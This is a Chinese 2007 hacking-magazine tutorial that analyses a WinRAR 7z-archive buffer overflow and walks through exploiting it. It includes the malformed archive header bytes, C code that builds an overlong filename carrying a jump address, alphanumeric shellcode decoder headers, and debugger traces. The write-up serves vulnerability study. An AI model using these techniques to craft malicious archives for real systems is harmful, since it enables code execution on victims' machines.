WinRAR 7z压缩包处理溢出分析和利用

    [晴 May 2, 2007 07:52 | by ]
文章作者:gyzy [E.S.T](www.gyzy.org
信息来源:邪恶八进制信息安全团队(www.eviloctal.com
本文已经发表在《黑客防线》2007年4月刊。作者及《黑客防线》保留版权,转载请注明原始出处。

适合读者:溢出爱好者
前置知识:汇编语言、缓冲区溢出基本原理

文/图 孤烟逐云(gyzy)【江苏大学信息安全系 & 邪恶八进制信息安全团队】

security.nnov.ru在06年底的时候发布了一个针对WinRAR 7z溢出的POC,可以导致执行恶意代码,可能有些朋友认为7z格式出问题不是那么严重,但WinRAR有个不算Bug的Bug:它是不认扩展名的,这意味着7z格式的压缩包扩展名改成rar还是能被解压,这就给恶意利用创造了机会,嘿嘿。WinRAR安装目录下的一个Formats的目录里面有许多扩展名是fmt的文件,但其实都是DLL,供主程序调用处理不同的压缩包。在7月份的时候LZH格式也出现过Stack Overflow,但这次的7z溢出严格的来说并不能称之为Stack overflow,看完漏洞的分析就知道为什么了。
既然已经有了poc,我们就没有必要自己去阅读大把的7z格式说明文档了,7z是开源的,在他的官方站点(www.7-zip.org)能下载到格式说明和一个开源的工程,感兴趣的朋友可以仔细研究下7z的文件格式。这里我直接给出作者在poc代码中公布的一个已经构造好的畸形压缩包:
unsigned char hz_part1[] =
 "\x37\x7A\xBC\xAF\x27\x1C\x00\x02" //前8个字节是固定的
 "\xEE\xD6\x49\x23" // 7z头部32字节的CRC1
 "\x00\x00\x00\x00\x00\x00\x00\x00" //下一个7z头的偏移,这里是0
 "\x2D\x40\x00\x00\x00\x00\x00\x00" //下一个头的长度,这里是0x402D
 "\x3D\xC3\xFE\x9B" // 除前32字节外的CRC2
 "\x01\x05\x01\x0E\x01\x80\x0F\x01\x80\x11\x80\x01\x00"; //下一个头开始

char filename[0x400A]; //超长的文件名,Unicode编码

unsigned char hz_part2[] =
 "\x14\x0A\x01\x00\xF0\xDE\xE9\xB5\xBF\xF2\xC6\x01\x15\x06\x01\x00"
 "\x20\x00\x00\x00\x00\x00"; //文件属性等信息
这样,一个畸形的7z压缩包就构造好了,大家自己和图片对照一下,如图1

图1
不过先别急着打开,WinRAR会对7z压缩包进行CRC32校验,假如校验有错的话就会提示压缩包损坏。所以我们必须自己重新计算CRC校验值。所幸的是,czy大牛的博客上公布了一个计算7zCRC校验的程序,我在他的基础上略微更改了一下,在此表示感谢。假如大家为了练手要自己动手,那么有一点需要注意,由于第二个CRC值会间接影响到第一个CRC校验,所以必须首先计算第二个CRC校验值,CRC32的算法网上一抓一把,我就不多说了。我提供的7zCRC.exe默认校正当前目录下的test.rar,这一点也请注意,7zCRC.exe能在黑防网站上的配套代码里能找到。

小试牛刀
也许大家会奇怪为什么图1里面我文件名填充的为什么是重复的0x9960呢,答案就是Unicode,7z要求文件名必须是Unicode编码, 0x9960就是两个nop(0x90)的Unicode,对于Unicode我也不多解释,有一点需要牢记:0x80以上的会被转义,举个例子: 0x4100大家都知道是大写的A,但是0x9000就不是大家所熟悉的Nop了,依据语言环境的不同可能会被转义成乱码,正是这一点,给我们的完美利用带来了许多的麻烦。我们双击打开压缩包,然后要点解压到才能触发,WinRAR出错了,如图2:

图2
Offset:90909090 嘿嘿,EIP被覆盖了,接下来要做的就是定位溢出点,两次定位法,我还是不多说,自己翻以前的黑防。我直接给出结果,溢出点就在(filename+8)开始的四个字节,由于我们的Shellcode在栈中,习惯性的想到了中文2000/XP/2k3下通用的Jmp esp跳转地址0x7FFA4512,下面看我的代码:
//写入超长文件名
char content[0x2005]; //0x400A/2 = 0x2005 用于ASCII向Unicode转换
memset(content,0x41,0x2005); //填充0x41不会引起转义问题
memcpy(content+4, "\x12\x45\xfa\x7f",4); //
MultiByteToWideChar(CP_ACP,0,content,0x2005,(LPWSTR)filename,0x400A); //Convert
WriteFile(h7z, (LPCVOID)filename,0x400A,&dwWritten,NULL);
这时候栈的地址是在0x17Dxxxxx的地方,马上重新生成一个压缩包,打开,但出错的地址不在栈中,意味着EIP没有跳转到栈中,如图3:

图3
奇怪,3f是哪来的呢?经过我查资料,Unicode是双字节码,3f表示的是未知字符,文件名的16个字节经过 MultiByteToWideChar函数的转化以后已经变成了下面这个样子\x41\x00\x41\x00\x41\x00\x41\x00\ x12\x00\x45\x00\x3f\x00\x41,看来这个地址是用不了了,poc代码的作者提供的是0x100201BB这个地址,这个地址是在7zxa.dll的.rdata段里,虽然这里面有个0xBB但是由于它处在首尾两端,我们还是可以给它补一个字节,这样就不怕转义了,但是在测试中我发现7z.fmt和7z.dll的加载基址几乎每次都是不一样的,所以这个地址也只能放弃,难道我们真的要放弃?

柳暗花明
我们的跳转地址必须符合三个条件:1.需要能够跳回堆栈 2.四个字节不能出现>0x80的字节 3.或者出现0x80以上的字节不能出现在中间两个位置上。我打开OD的内存,一个个模块搜索过来,黄天不负有心人,在所有加载模块的最高处, Shell32.dll的.text段里面居然让我找到了:0x7D646981,嘿嘿,跳转地址就可以这么构造 0x41000x4100x4100x8A7C 0x69000x64000x7D00,其中是0x8A7C是0x81的Unicode,但这不是完美的解决方案,不是每台机子的0x7D646981都是Jmp esp,但同一个SP下Shell32.dll加载的基址应该是固定的,至于如何实现通用,这个问题还是留给读者吧。Shellcode的定位问题算是暂时告一段落了,紧接着而来的问题就是要有能经得起转换的Shellcode,对了,纯字母数字的Shellcode就是符合这样要求的 Shellcode,经得起MultiByteToWideChar折腾的也就这孩子了。幸亏黑防上期刚刚发表过关于编写纯字母数字的Shellcode 的文章,不然我得多打一个小时的字:)不知大家是否已经有了自己的AlphaNumric的Shellcode了,如果没有的话,我找来了一个生成的模板供大家使用:
{ "nops", "IIIIIIIIIIIIIIIIII7" mixedcase_ascii_decoder_body },
 { "eax", "PYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "ecx", "IIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "edx", "JJJJJJJJJJJJJJJJJ7RY" mixedcase_ascii_decoder_body },
 { "ebx", "SYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "esp", "TYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "ebp", "UYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "esi", "VYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "edi", "WYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "[esp-10]", "LLLLLLLLLLLLLLLLYIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
 { "[esp-C]", "LLLLLLLLLLLLYIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
 { "[esp-8]", "LLLLLLLLYIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
 { "[esp-4]", "LLLL7YIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "[esp]", "YIIIIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
 { "[esp+4]", "YYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "[esp+8]", "YYYIIIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
 { "[esp+C]", "YYYYIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "[esp+10]", "YYYYYIIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
 { "[esp+14]", "YYYYYYIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "[esp+18]", "YYYYYYYIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
 { "[esp+1C]", "YYYYYYYYIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "seh", mixedcase_w32sehgetpc "IIIIIIIIIIIIIIIII7QZ" // ecx code
这是解码头,根据溢出的时候哪个寄存器指向Shellcode进行选用,生成Shellcode主体的函数配套代码alphashellcode里面有。我们这应该选择TYIIIIIIIIIIIIIIII7QZ这个解码头,Shellcode怪长的我就不贴了,以免有骗稿费之嫌。再次测试,成功,如图 4:

图4

疑云重重
虽然利用是成功了,不过不知道大家有没有发现一些比较奇怪的问题:1.如果是栈溢出,为什么溢出点却在超长字符串的前面,而不是在中间或者后面,不会它的缓冲区只有1个字节吧? 2.为什么打开的时候不触发漏洞只有解压的时候才触发? 3.为什么gyzy说这不是严格意义上的栈溢出?(汗..) 带着这一连串的问题,任何言语的猜测都是苍白的,还是让OD去解开我们的疑团。这里顺便发一下牢骚,OD对多线程的处理真是不咋的,经常会莫名其妙的出现假死的现象,先加载WinRAR.exe让OD跑起来,记得先把跳转地址改掉,以免出现没有断下来的尴尬局面,另外还要记得校正CRC值,不然它会郑重的警告你一下,哈哈,祈祷你的机器没有假死吧,阿门,如图5:

图5
我发现原版的OD好像稳定性好一点,所以我用的是原版的,这个时候EIP已经被覆盖了,我在堆栈窗口里往上下都翻了翻,没有翻到正常的返回地址,奇怪了,不可能所有的返回地址都覆盖吧?太狠了,居然一点线索都不给留下,按照常规堆栈回溯下很容易找到出问题的代码,看来事情越发的扑朔迷离了。 Ctrl+F2重新来,F9让他跑起来,然后bp CreateThread,
在这上面下断,因为很明显解压文件的时候需要新开线程,会发现0049CDFC这个地址是新开线程的起始地址,然后一部部往下跟(省略N多步骤,要是都写出来有点感觉自己像是写长篇小说了),跟进到这个地方:
0045BD63 |. E8 7466FBFF |CALL WinRAR.004123DC
0045BD68 |. 84C0 |TEST AL,AL
0045BD6A |. 74 04 |JE SHORT WinRAR.0045BD70
0045BD6C |. B0 01 |MOV AL,1
0045BD6E |. EB 0F |JMP SHORT WinRAR.0045BD7F
0045BD70 |> 43 |INC EBX
0045BD71 |> 3B9F 04040000 CMP EBX,DWORD PTR DS:[EDI+404]
0045BD77 |.^0F8C 41FFFFFF \JL WinRAR.0045BCBE
0045BD7D |. 33C0 XOR EAX,EAX
0045BD7F |> 5F POP EDI
0045BD80 |. 5E POP ESI
0045BD81 |. 5B POP EBX
0045BD82 |. 8BE5 MOV ESP,EBP
0045BD84 |. 5D POP EBP
0045BD85 \. C2 0800 RETN 8
返回的时候EIP被覆盖了,RETN 8指令说明在返回地址后面要有8个字节的保留空间,再跟Shellcode,我们在0045BD80下断,如图6:

图6

霍然开朗
但这时的ESP却还是01DCF80C,怎么后来就跳到了017D6578了呢,答案就在下面0045B082的 MOV ESP,EBP而EBP恰恰是017D6578,这就解释了刚才的种种疑问,为什么异常发生的时候栈里回溯不到调用信息,为什么溢出点会出现在字符串的前几个字节了。答案就是EBP的值被污染了。重复上面的若干步骤,在01DCF8E8上下写入硬断,里面保存着被覆盖前的的EBP,下面这段代码覆盖了栈里的正确EBP值:
00494AD8 |. 57 PUSH EDI
00494AD9 |. 8B7D 08 MOV EDI,DWORD PTR SS:[EBP+8]
00494ADC |. 8BC7 MOV EAX,EDI
00494ADE |. 8B75 0C MOV ESI,DWORD PTR SS:[EBP+C]
00494AE1 |. 8B4D 10 MOV ECX,DWORD PTR SS:[EBP+10]
00494AE4 |. 8BD1 MOV EDX,ECX
00494AE6 |. D1E9 SHR ECX,1
00494AE8 |. D1E9 SHR ECX,1
00494AEA |. FC CLD ecx 203
00494AEB |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
00494AED |. 8BCA MOV ECX,EDX
00494AEF |. 83E1 03 AND ECX,3 2
00494AF2 |. F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
00494AF4 |. 5F POP EDI
省略N多步骤,最后发现是00412562这里的指令将EBP值污染了,然后返回到0045BD82的时候间接覆盖了ESP。
00412562 |. 5D POP EBP
跟踪到这的时候也觉得有点意思,很难说这是个标准的覆盖返回地址或者SEH链的栈溢出,但是这儿确实间接的覆盖了返回地址。最近一年来,各种第三方软件的文件处理漏洞逐渐多了起来,个人觉得像这一类的漏洞基本只能靠黑盒测试发现,代码审计也许都很难发现。这次那个作者能发现也算运气,也许短一点的文件名根本就触发不了这么隐秘的Bug了。而且确实不太好利用,溢出点靠后点还能伪装一个诱人点的文件名呢,唉....但是供大家练练手还是不错的,牵涉到很多方面的东西。

小结
本文介绍了针对已发布的POC进行改写利用的一些方法和心得,并给了相关实例,希望对感兴趣的朋友能起到抛砖引玉的作用。文章也写的比较仓促,错误疏漏在所难免,敬请广大读者指正,衷心祝愿大家猪年快乐,有任何问题来我的博客留言:http://www.gyzy.org,同时也欢迎广大高三黑友踊跃填报我校:)

(文中所涉及的程序或代码,请到黑防官方网站下载,详细地址请看公共论坛置顶帖)
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